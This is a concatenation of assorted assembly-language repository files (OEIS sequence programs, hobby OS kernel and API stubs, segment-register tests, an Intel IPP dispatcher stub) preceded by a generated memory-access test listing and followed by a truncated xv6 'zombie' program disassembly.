'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 5}} {'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_UC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': True, 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': True, 'AVXalign': True, 'congruent': 11}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 11}} {'45': 11, '00': 531} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
27.063158
1,625
0.647867
0db9381df1c1b790397c50121059bd9898b3e710
1,214
asm
Assembly
programs/oeis/092/A092910.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/092/A092910.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/092/A092910.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A092910: a(n) is the (3n+2)-th component of the continued fraction for sum(k>=0,2^(-k!)). ; 3,4,3,3,2,3,4,3,2,4,3,2,3,3,4,3,2,4,3,3,2,3,4,2,3,4,3,2,3,3,4,3,2,4,3,3,2,3,4,3,2,4,3,2,3,3,4,2,3,4,3,3,2,3,4,2,3,4,3,2,3,3,4,3,2,4,3,3,2,3,4,3,2,4,3,2,3,3,4,3,2,4,3,3,2,3,4,2,3,4,3,2,3,3,4,2,3,4,3,3,2,3,4,3,2,4,3,2,3,3,4,2,3,4,3,3,2,3,4,2,3,4,3,2,3,3,4,3,2,4,3,3,2,3,4,3,2,4,3,2,3,3,4,3,2,4,3,3,2,3,4,2,3,4,3,2,3,3,4,3,2,4,3,3,2,3,4,3,2,4,3,2,3,3,4,2,3,4,3,3,2,3,4,2,3,4,3,2,3,3,4,2,3,4,3,3,2,3,4,3,2,4,3,2,3,3,4,3,2,4,3,3,2,3,4,2,3,4,3,2,3,3,4,2,3,4,3,3,2,3,4,3,2,4,3,2,3,3,4,2,3,4,3,3,2,3,4,2,3,4 mov $14,$0 mov $16,2 lpb $16 mov $0,$14 sub $16,1 add $0,$16 sub $0,1 mov $7,$0 mov $9,2 mov $11,$0 lpb $9 clr $0,7 mov $0,$7 sub $9,1 add $0,$9 lpb $0 add $2,$0 lpb $2 sub $2,4 add $3,3 lpe div $0,2 mov $2,2 lpe mov $1,$3 mov $10,$9 lpb $10 mov $8,$1 sub $10,1 lpe lpe lpb $7 mov $7,0 sub $8,$1 lpe mov $1,$8 add $1,5 mov $13,$11 mul $13,5 add $1,$13 mov $17,$16 lpb $17 mov $15,$1 sub $17,1 lpe lpe lpb $14 mov $14,0 sub $15,$1 lpe mov $1,$15 div $1,3 add $1,2
21.298246
501
0.472817
830ace733b4b160e2afa759af361bb75b35dcbb8
1,306
asm
Assembly
51-创建窗口api/OS-kernel-win-sheet/api_call.asm
wdkang123/MyOperatingSystem
66d0fcbbde079a3fae75484871590df470229d7b
[ "MIT" ]
7
2021-01-28T11:42:08.000Z
2021-12-12T11:16:14.000Z
51-创建窗口api/OS-kernel-win-sheet/api_call.asm
wdkang123/MyOperatingSystem
66d0fcbbde079a3fae75484871590df470229d7b
[ "MIT" ]
1
2021-09-09T03:52:11.000Z
2021-09-13T00:20:23.000Z
51-创建窗口api/OS-kernel-win-sheet/api_call.asm
wdkang123/MyOperatingSystem
66d0fcbbde079a3fae75484871590df470229d7b
[ "MIT" ]
1
2021-08-25T12:57:10.000Z
2021-08-25T12:57:10.000Z
[map symbols app_c.map] [SECTION .s32] BITS 32 call main mov edx, 4 ;返回内核 int 02Dh api_putchar: mov edx, 1 mov al, [esp + 4] int 02Dh ret api_putstr: ;void api_putstr(char* s) push ebx mov edx, 2 mov ebx, [ESP+8] int 02Dh pop ebx ret api_openwin: ;int api_openwin(char*buf, int xsiz, int ysiz, int col_inv, char*title) push edi push esi push ebx mov edx, 5 mov ebx, [esp+16] ;buf mov esi, [esp+20] ;xsiz mov edi, [esp+24] ;ysiz mov eax, [esp+28] ;col_inv mov ecx, [esp+32] ;title int 02Dh pop ebx pop esi pop edi ret api_putstrwin: ;void api_putstrwin(int win, int x, int y, int col, int len, char* str) push edi push esi push ebp push ebx mov edx, 6 mov ebx, [esp+20] ;win mov esi, [esp+24] ;x mov edi, [esp+28] ;y mov eax, [esp+32] ;col mov ecx, [esp+36] ;len mov ebp, [esp+40] ;str int 02Dh pop ebx pop ebp pop esi pop edi ret api_boxfilwin: ;void api_boxfilwin(int win, int x0, int y0,int x1, int y1, int col) push edi push esi push ebp push ebx mov edx, 7 mov ebx, [esp+20] ;win mov eax, [esp+24] ;x0 mov ecx, [esp+28] ;y0 mov esi, [esp+32] ;x1 mov edi, [esp+36] ;y1 mov ebp, [esp+40] ;col int 02DH pop ebx pop ebp pop esi pop edi ret %include "app.asm"
15.926829
89
0.613323
990dcb2e28273c8dcb6029e423d09be2944d6838
3,073
asm
Assembly
programs/oeis/055/A055797.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/055/A055797.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/055/A055797.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A055797: T(2n+4,n), array T as in A055794. ; 1,6,22,64,162,372,792,1584,3003,5434,9438,15808,25636,40392,62016,93024,136629,196878,278806,388608,533830,723580,968760,1282320,1679535,2178306,2799486,3567232,4509384,5657872,7049152,8724672,10731369,13122198,15956694,19301568,23231338,27828996,33186712,39406576,46601379,54895434,64425438,75341376,87807468,102003160,118124160,136383520,157012765,180263070,206406486,235737216,268572942,305256204,346155832,391668432,442219927,498267154,560299518,628840704,704450448,787726368,879305856,979868032,1090135761,1210877734,1342910614,1487101248,1644368946,1815687828,2002089240,2204664240,2424566155,2663013210,2921291230,3200756416,3502838196,3829042152,4180953024,4560237792,4968648837,5408027182,5880305814,6387513088,6931776214,7515324828,8140494648,8809731216,9525593727,10290758946,11108025214,11980316544,12910686808,13902324016,14958554688,16082848320,17278821945,18550244790,19901043030,21335304640,22857284346,24471408676,26182281112,27994687344,29913600627,31944187242,34091812062,36362044224,38760662908,41293663224,43967262208,46787904928,49762270701,52897279422,56200098006,59678146944,63339106974,67190925868,71241825336,75500308048,79975164775,84675481650,89610647550,94790361600,100224640800,105923827776,111898598656,118159971072,124719312289,131588347462,138779168022,146304240192,154176413634,162408930228,171015432984,180009975088,189407029083,199221496186,209468715742,220164474816,231325017924,242967056904,255107780928,267764866656,280956488533,294701329230,309018590230,323928002560,339449837670,355604918460,372414630456,389900933136,408086371407,426994087234,446647831422,467071975552,488291524072,510332126544,533220090048,556982391744,581646691593,607241345238,633795417046,661338693312,689901695626,719515694404,750212722584,782025589488,814987894851,849134043018,884499257310,921119594560,959031959820,998274121240,1038884725120,1080903311136,1124370327741,1169327147742,1215816084054,1263880405632,1313564353582,1364913157452,1417973051704,1472791292368,1529416173879,1587897046098,1648284331518,1710629542656,1774985299632,1841405347936,1909944576384,1980659035264,2053605954673,2128843763046,2206432105878,2286431864640,2368905175890,2453915450580,2541527393560,2631807023280,2724821691691,2820640104346,2919332340702,3020969874624,3125625595092,3233373827112,3344290352832,3458452432864,3575938827813,3696829820014,3821207235478,3949154466048,4080756491766,4216099903452,4355272925496,4498365438864,4645469004319,4796676885858,4952084074366,5111787311488,5275885113720,5444477796720,5617667499840,5795558210880,5978255791065,6165868000246,6358504522326,6556276990912,6759299015194,6967686206052,7181556202392,7401028697712,7626225466899,7857270393258,8094289495774,8337410956608,8586765148828,8842484664376,9104704342272,9373561297056,9649194947469,9931747045374,10221361704918,10518185431936,10822367153598,11134058248300,11453412575800,11780586507600,12115738957575,12459031412850 lpb $0,1 mov $2,$0 cal $2,55796 ; T(2n+3,n), array T as in A055794. sub $0,1 add $1,$2 lpe add $1,1
279.363636
2,918
0.896518
820997ea6485be94d416f84abec78856e222df76
893
asm
Assembly
oeis/221/A221686.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/221/A221686.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/221/A221686.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A221686: Number of 0..n arrays of length 7 with each element differing from at least one neighbor by 1 or less, starting with 0. ; Submitted by Christian Krause ; 64,320,844,1692,2856,4326,6102,8184,10572,13266,16266,19572,23184,27102,31326,35856,40692,45834,51282,57036,63096,69462,76134,83112,90396,97986,105882,114084,122592,131406,140526,149952,159684,169722,180066,190716,201672,212934,224502,236376,248556,261042,273834,286932,300336,314046,328062,342384,357012,371946,387186,402732,418584,434742,451206,467976,485052,502434,520122,538116,556416,575022,593934,613152,632676,652506,672642,693084,713832,734886,756246,777912,799884,822162,844746,867636 mov $3,4 mov $6,$0 add $6,$0 trn $6,1 trn $3,$6 mov $4,$0 mov $0,14 lpb $0 mov $0,7 mov $1,6 bin $1,$3 lpe add $1,34 mul $1,2 mov $2,$4 mul $2,93 add $1,$2 mov $5,$4 mul $5,$4 mov $2,$5 mul $2,153 add $1,$2 mov $0,$1 sub $0,34
30.793103
495
0.74692
8c7c5d6c6858bff7501b23a39e55cc286ac4ac25
382
asm
Assembly
oeis/128/A128937.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/128/A128937.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/128/A128937.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A128937: Triangle formed by reading A039598 mod 2. ; Submitted by Christian Krause ; 1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0 seq $0,156290 ; Triangle read by rows: alternating binomial coefficients with signs. mod $0,2
54.571429
201
0.628272
e0d9ce3d7622df03ec57a7fb1e342b6925b0d5d2
285
asm
Assembly
src/kernel/start.asm
raining888/neonix
4335b0866ae8d5ece91a287dde3c80ff66133c47
[ "MIT" ]
null
null
null
src/kernel/start.asm
raining888/neonix
4335b0866ae8d5ece91a287dde3c80ff66133c47
[ "MIT" ]
null
null
null
src/kernel/start.asm
raining888/neonix
4335b0866ae8d5ece91a287dde3c80ff66133c47
[ "MIT" ]
null
null
null
[bits 32] extern console_init extern gdt_init extern memory_init extern kernel_init global _start: _start: push ebx; loader中的ards_count push eax; loader中的magic call console_init; 控制台初始化 call gdt_init; 全局描述符初始化 call memory_init; 内存初始化 call kernel_init; 内核初始化 jmp $; 阻塞
15.833333
30
0.778947
7c8b97b783ba9ed21f6ba5ff4106288a4610513f
427
asm
Assembly
oeis/169/A169998.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/169/A169998.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/169/A169998.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A169998: a(0)=1, a(1)=1; thereafter a(n) = -a(n-1) - 2*a(n-2). ; Submitted by Jon Maiga ; 1,1,-3,1,5,-7,-3,17,-11,-23,45,1,-91,89,93,-271,85,457,-627,-287,1541,-967,-2115,4049,181,-8279,7917,8641,-24475,7193,41757,-56143,-27371,139657,-84915,-194399,364229,24569,-753027,703889,802165,-2209943,605613,3814273,-5025499,-2603047 mul $0,2 mov $2,1 lpb $0 sub $0,2 mul $1,2 sub $2,$1 add $1,$2 add $1,$2 lpe mov $0,$2
28.466667
238
0.627635
32e3de86310fb0a0c1eef1b9b44dca8d49708fdf
199
asm
Assembly
src/stars/tests/tests/pseudoOps/rolv_rorv_test.asm
kevintmcdonnell/stars
ce0df570c546a8490ef4f9ceeb84c8e1132b2791
[ "MIT" ]
9
2020-11-05T21:26:09.000Z
2022-03-04T15:24:40.000Z
src/stars/tests/tests/pseudoOps/rolv_rorv_test.asm
kevintmcdonnell/stars
ce0df570c546a8490ef4f9ceeb84c8e1132b2791
[ "MIT" ]
7
2020-11-06T15:59:40.000Z
2021-08-31T16:36:43.000Z
src/stars/tests/tests/pseudoOps/rolv_rorv_test.asm
kevintmcdonnell/stars
ce0df570c546a8490ef4f9ceeb84c8e1132b2791
[ "MIT" ]
1
2021-07-13T21:55:02.000Z
2021-07-13T21:55:02.000Z
.text main: li $t0, 0x1234abcd li $t1, 12 # Should be 0x4abcd123 rolv $a0, $t0, $t1 li $v0, 34 syscall li $a0, ' ' li $v0, 11 syscall # Should be 0xbcd1234a rorv $a0, $t0, $t1 li $v0, 34 syscall
9.95
22
0.638191
92dd3cd27aa258e1af08bb3d5f92f5afba73e935
347
asm
Assembly
programs/oeis/029/A029132.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/029/A029132.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/029/A029132.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A029132: Expansion of 1/((1-x)(1-x^9)(1-x^10)(1-x^11)). ; 1,1,1,1,1,1,1,1,1,2,3,4,4,4,4,4,4,4,5,6,8,9,10,10,10,10,10,11,12,14,16,18,19,20,20,20,21,22,24,26,29,31,33,34,35,36,37,39,41,44,47,50,52,54,56,58,60,62,65,68,72,75 lpb $0 mov $2,$0 sub $0,9 seq $2,25793 ; Expansion of 1/((1-x)(1-x^10)(1-x^11)). add $1,$2 lpe add $1,1 mov $0,$1
28.916667
165
0.567723
a3e44f2433dfbd9b5cb0e45a68a1c90aeccaf300
322
asm
Assembly
programs/oeis/040/A040874.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/040/A040874.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/040/A040874.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A040874: Continued fraction for sqrt(905). ; 30,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60,12,60 sub $0,1 mod $0,2 mul $0,10 add $0,2 pow $0,2 mov $1,$0 div $1,17 mul $1,6 add $1,12
24.769231
190
0.645963
e30653ee617340a83b5de39dc045846781db5a77
51
asm
Assembly
src/main/fragment/mos6502-common/vdum1=_makelong4_(vbuxx)_(vbuaa)_(vbum2)_(vbuyy).asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vdum1=_makelong4_(vbuxx)_(vbuaa)_(vbum2)_(vbuyy).asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vdum1=_makelong4_(vbuxx)_(vbuaa)_(vbum2)_(vbuyy).asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
stx {m1} sta {m1}+1 lda {m2} sta {m1}+2 sty {m1}+3
8.5
10
0.54902
55eebb7fa346bf52fc5cb34a63d4eb297c3f36e2
113
asm
Assembly
test_roms/test0.asm
zmarvel/slowboy
c173343746b425f97d15ad0f25637f345b867fcd
[ "MIT" ]
2
2017-01-27T03:38:18.000Z
2022-02-18T12:07:26.000Z
test_roms/test0.asm
zmarvel/slowboy
c173343746b425f97d15ad0f25637f345b867fcd
[ "MIT" ]
4
2017-04-24T02:58:30.000Z
2017-04-24T03:13:10.000Z
test_roms/test0.asm
zmarvel/slowboy
c173343746b425f97d15ad0f25637f345b867fcd
[ "MIT" ]
null
null
null
include "header.asm" SECTION "EntryPoint",ROM0[$150] ;; ;; Actual entry point ;; loop: nop jr $fd ;; -3 jr loop
10.272727
31
0.654867
11449a508070504f97efca51f672df9817e2edab
954
asm
Assembly
test/sreg.asm
km2m/nasm
4c3798b7e6a1258122722d55d85ecd820721db5d
[ "BSD-2-Clause" ]
2,219
2018-03-26T02:57:34.000Z
2022-03-31T00:27:59.000Z
test/sreg.asm
km2m/nasm
4c3798b7e6a1258122722d55d85ecd820721db5d
[ "BSD-2-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
test/sreg.asm
km2m/nasm
4c3798b7e6a1258122722d55d85ecd820721db5d
[ "BSD-2-Clause" ]
473
2019-03-24T16:34:23.000Z
2022-03-31T02:01:05.000Z
bits 64 mov es,rax mov ss,rax mov ds,rax mov fs,rax mov gs,rax mov es,eax mov ss,eax mov ds,eax mov fs,eax mov gs,eax mov es,ax mov ss,ax mov ds,ax mov fs,ax mov gs,ax mov es,[rsi] mov ss,[rsi] mov ds,[rsi] mov fs,[rsi] mov gs,[rsi] mov es,word [rsi] mov ss,word [rsi] mov ds,word [rsi] mov fs,word [rsi] mov gs,word [rsi] mov es,qword [rsi] mov ss,qword [rsi] mov ds,qword [rsi] mov fs,qword [rsi] mov gs,qword [rsi] mov rax,es mov rax,cs mov rax,ss mov rax,ds mov rax,fs mov rax,gs mov eax,es mov eax,ss mov eax,ds mov eax,fs mov eax,fs mov ax,es mov ax,ss mov ax,ds mov ax,fs mov ax,gs mov [rdi],es mov [rdi],cs mov [rdi],ss mov [rdi],ds mov [rdi],fs mov [rdi],gs mov word [rdi],es mov word [rdi],cs mov word [rdi],ss mov word [rdi],ds mov word [rdi],fs mov word [rdi],gs mov qword [rdi],es mov qword [rdi],cs mov qword [rdi],ss mov qword [rdi],ds mov qword [rdi],fs mov qword [rdi],gs
14.454545
19
0.636268
81f2bca0bd5b0086f09ce29627aba7fdc3305ff5
1,181
asm
Assembly
_build/dispatcher/jmp_ippsGFpIsUnityElement_9c83155f.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
1
2021-10-04T10:21:54.000Z
2021-10-04T10:21:54.000Z
_build/dispatcher/jmp_ippsGFpIsUnityElement_9c83155f.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
_build/dispatcher/jmp_ippsGFpIsUnityElement_9c83155f.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
extern m7_ippsGFpIsUnityElement:function extern n8_ippsGFpIsUnityElement:function extern y8_ippsGFpIsUnityElement:function extern e9_ippsGFpIsUnityElement:function extern l9_ippsGFpIsUnityElement:function extern n0_ippsGFpIsUnityElement:function extern k0_ippsGFpIsUnityElement:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsGFpIsUnityElement .Larraddr_ippsGFpIsUnityElement: dq m7_ippsGFpIsUnityElement dq n8_ippsGFpIsUnityElement dq y8_ippsGFpIsUnityElement dq e9_ippsGFpIsUnityElement dq l9_ippsGFpIsUnityElement dq n0_ippsGFpIsUnityElement dq k0_ippsGFpIsUnityElement segment .text global ippsGFpIsUnityElement:function (ippsGFpIsUnityElement.LEndippsGFpIsUnityElement - ippsGFpIsUnityElement) .Lin_ippsGFpIsUnityElement: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsGFpIsUnityElement: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsGFpIsUnityElement] mov r11, qword [r11+rax*8] jmp r11 .LEndippsGFpIsUnityElement:
30.282051
111
0.813717
3de7f9ed50a111a8ae9cd3aca115900838a168a5
39,589
asm
Assembly
zombie.asm
johnhhyang/os2
4a6108a836f08fb8e87b183683497ab299d235ba
[ "MIT-0" ]
null
null
null
zombie.asm
johnhhyang/os2
4a6108a836f08fb8e87b183683497ab299d235ba
[ "MIT-0" ]
null
null
null
zombie.asm
johnhhyang/os2
4a6108a836f08fb8e87b183683497ab299d235ba
[ "MIT-0" ]
null
null
null
_zombie: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(void) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp 6: 83 ec 10 sub $0x10,%esp if(fork() > 0) 9: e8 72 02 00 00 call 280 <fork> e: 85 c0 test %eax,%eax 10: 7e 0c jle 1e <main+0x1e> sleep(5); // Let child exit before parent. 12: c7 04 24 05 00 00 00 movl $0x5,(%esp) 19: e8 fa 02 00 00 call 318 <sleep> exit(); 1e: e8 65 02 00 00 call 288 <exit> 23: 90 nop 00000024 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 24: 55 push %ebp 25: 89 e5 mov %esp,%ebp 27: 57 push %edi 28: 53 push %ebx asm volatile("cld; rep stosb" : 29: 8b 4d 08 mov 0x8(%ebp),%ecx 2c: 8b 55 10 mov 0x10(%ebp),%edx 2f: 8b 45 0c mov 0xc(%ebp),%eax 32: 89 cb mov %ecx,%ebx 34: 89 df mov %ebx,%edi 36: 89 d1 mov %edx,%ecx 38: fc cld 39: f3 aa rep stos %al,%es:(%edi) 3b: 89 ca mov %ecx,%edx 3d: 89 fb mov %edi,%ebx 3f: 89 5d 08 mov %ebx,0x8(%ebp) 42: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 45: 5b pop %ebx 46: 5f pop %edi 47: 5d pop %ebp 48: c3 ret 00000049 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 49: 55 push %ebp 4a: 89 e5 mov %esp,%ebp 4c: 83 ec 10 sub $0x10,%esp char *os; os = s; 4f: 8b 45 08 mov 0x8(%ebp),%eax 52: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 55: 90 nop 56: 8b 45 0c mov 0xc(%ebp),%eax 59: 0f b6 10 movzbl (%eax),%edx 5c: 8b 45 08 mov 0x8(%ebp),%eax 5f: 88 10 mov %dl,(%eax) 61: 8b 45 08 mov 0x8(%ebp),%eax 64: 0f b6 00 movzbl (%eax),%eax 67: 84 c0 test %al,%al 69: 0f 95 c0 setne %al 6c: 83 45 08 01 addl $0x1,0x8(%ebp) 70: 83 45 0c 01 addl $0x1,0xc(%ebp) 74: 84 c0 test %al,%al 76: 75 de jne 56 <strcpy+0xd> ; return os; 78: 8b 45 fc mov -0x4(%ebp),%eax } 7b: c9 leave 7c: c3 ret 0000007d <strcmp>: int strcmp(const char *p, const char *q) { 7d: 55 push %ebp 7e: 89 e5 mov %esp,%ebp while(*p && *p == *q) 80: eb 08 jmp 8a <strcmp+0xd> p++, q++; 82: 83 45 08 01 addl $0x1,0x8(%ebp) 86: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 8a: 8b 45 08 mov 0x8(%ebp),%eax 8d: 0f b6 00 movzbl (%eax),%eax 90: 84 c0 test %al,%al 92: 74 10 je a4 <strcmp+0x27> 94: 8b 45 08 mov 0x8(%ebp),%eax 97: 0f b6 10 movzbl (%eax),%edx 9a: 8b 45 0c mov 0xc(%ebp),%eax 9d: 0f b6 00 movzbl (%eax),%eax a0: 38 c2 cmp %al,%dl a2: 74 de je 82 <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; a4: 8b 45 08 mov 0x8(%ebp),%eax a7: 0f b6 00 movzbl (%eax),%eax aa: 0f b6 d0 movzbl %al,%edx ad: 8b 45 0c mov 0xc(%ebp),%eax b0: 0f b6 00 movzbl (%eax),%eax b3: 0f b6 c0 movzbl %al,%eax b6: 89 d1 mov %edx,%ecx b8: 29 c1 sub %eax,%ecx ba: 89 c8 mov %ecx,%eax } bc: 5d pop %ebp bd: c3 ret 000000be <strlen>: uint strlen(char *s) { be: 55 push %ebp bf: 89 e5 mov %esp,%ebp c1: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) c4: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) cb: eb 04 jmp d1 